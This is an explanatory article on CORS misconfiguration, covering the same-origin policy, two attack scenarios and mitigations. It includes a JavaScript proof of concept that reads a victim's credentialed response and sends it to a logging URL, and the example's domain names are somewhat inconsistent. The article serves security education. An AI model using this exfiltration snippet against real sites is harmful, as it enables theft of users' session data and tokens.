Written By: Andy Pantelli 

Cross Origin Resource Sharing(CORS) – understanding Web Application Vulnerabilities 

What is CORS?

Cross Origin Resource Sharing, or simply known as CORS provides a method for Browsers to control access to resources located outside of a Domain & provides a means for websites to relax the Same Origin Policy.  CORS is designed to extend and provide flexibility to SOPs but can provide the potential for cross-domain attacks if poorly configured or implemented. As defined by the World Wide Web Consortium (W3C) CORS is an extension to SOPs.  Modern web applications make use of JavaScript to dynamic, often interactive & functional websites to provide users with a feature-rich online experience. 

What is the “same origin”? 
Simply, it is a protocol (http, https), port if defined (https://example.com:8080), and lastly the host. 
 
https://www.example.com/anything  and https://www.example.com/nothing are the same origin BUT  http://www.example.com/something is not the same origin as either of the two examples because of the protocol difference. 
 
The Same Origin Policy is a security feature used by web browsers to limit or restrict documents or scripts from the original source domain to interact with resources from another.  So, you may have multiple tabs open in your browser, or a website could embed iframes from another site.  Without a mechanism to restrict it a compromised script could potentially expose the user’s browser.  The Same Origin Policy can prevent this by blocking the read access.  Being that the control is quite restrictive this can be a problem for websites that have third party, or subdomains with the needing Cross-Origin Resource Sharing (CORS). 

Page Break 

Among the numerous attacks two examples are illustrated below: 

Client – Server ACAO Origin Header Vulnerability 
Browsers that send the following http/s response header: Access-Control-Allow-Origin: https://example.com are permitting the web browser to make cross-domain requests to the web server and allow the responses to be read.  This circumvents the restriction that the SOP would usually make.  Implementing CORS can result in exploitable vulnerabilities.  Applications that need to access multiple domains make the following request; 

GET /confidential-client-data HTTP/1.1 
Host: misconfigured-website.com 
Origin: https:/misconfigured-website.com 
Cookie: sessionid=… 
 
with the response: 

HTTP/1.1 200 OK 
Access-Control-Allow-Origin: https://misconfigured-website.com 
Access-Control-Allow-Credentials: true 

Seen in the header is that access is allowed from the domain making the request misconfigured-website.com and including cookies Access-Control-Allow-Credentials: true 
 
The result of which means that any domain can now access resources from the vulnerable misconfigured-website.com.  If a CRSF token or API key were to be included these could be retrieved by script  
 
var req = new XMLHttpRequest(); req.onload = reqListener; req.open(‘get’,’https://vulnerable-website.com/sensitive-victim-data’,true); req.withCredentials = true; req.send(); function reqListener() { location=’//misconfigured-website.com/log?key=’+this.responseText; }; 
 
Misconfigured TLS & CORS 
Breaking the confidentiality provided by securing traffic using TLS by badly or misconfigured CORS which inadvertently whitelists a trusted http subdomain, the following example illustrates a scenario whereby a malicious actor can exploit the user interaction with a web app; 

The user makes a request to an unsecured domain with the malicious actor is able to redirect to http://random-site.misconfigured-website.com using  
 
Next, the user browser follows the redirection, after which the attacker is able to intercept the HTTP to return a spoofed response to https://misconfigured-website.com  The user browser then makes the CORS request, including the origin http://random-site.misconfiugred-website.com. Remember, that the application will now allow this because this is a whitelisted origin.  Any sensitive or confidential data is also returned with the response.  This attack will work despite a domain being configured to use HTTPS or set to flag cookies as secure. 
 
These are two illustrations of potential attacks, with others including Exploiting XSS using trust relationships, whitelisting null origin value, Intranet without credentials, Errors when parsing Origin Headers 
 
Mitigating CORS Vulnerabilities 

Server-Side Security Policies – do not rely upon CORS to control any browser behaviour and should not be relied upon to restrict or control any sensitive data.  Ensure to make use of session management, and authentication  
 
Essentially CORS vulnerabilities are the result of misconfiguration.  Ensure that the correct configuration is specified in the Access-Control-Allow-Origin header.  
 
Restrict the config to Trusted Sites, strictly define the sites that you wish to be trusted, and always ensure that any dynamic cross-origin requests are subject to validation otherwise these can be exploitable. 
 
Do not use the Access-Control-Allow-Origin: null.  CORS headers should be correctly defined for trusted origins, private or public servers 

CORS in the ‘Wild’ 
Recent studies that have been conducted show that of the Alexa top 1 million websites, only a very small percentage 3% of websites support CORS on their main page.  As detailed above, for the CORS configuration to be vulnerable the Access-Control-Allow-Credentials Policy must be set to “true”.  The same study also found that approximately half of the websites found to be using CORS were misconfigured which could be exploited by malicious actors. 
 
CORS may not be in the OWASP Top Ten, it may not be the most widely exploited vulnerability in the malicious actor’s arsenal, but nevertheless, it is a technique seen and used for multiple attacks described in this article.  Securing your CORS configuration, if used is just another piece in the puzzle keeping your site, and users secure.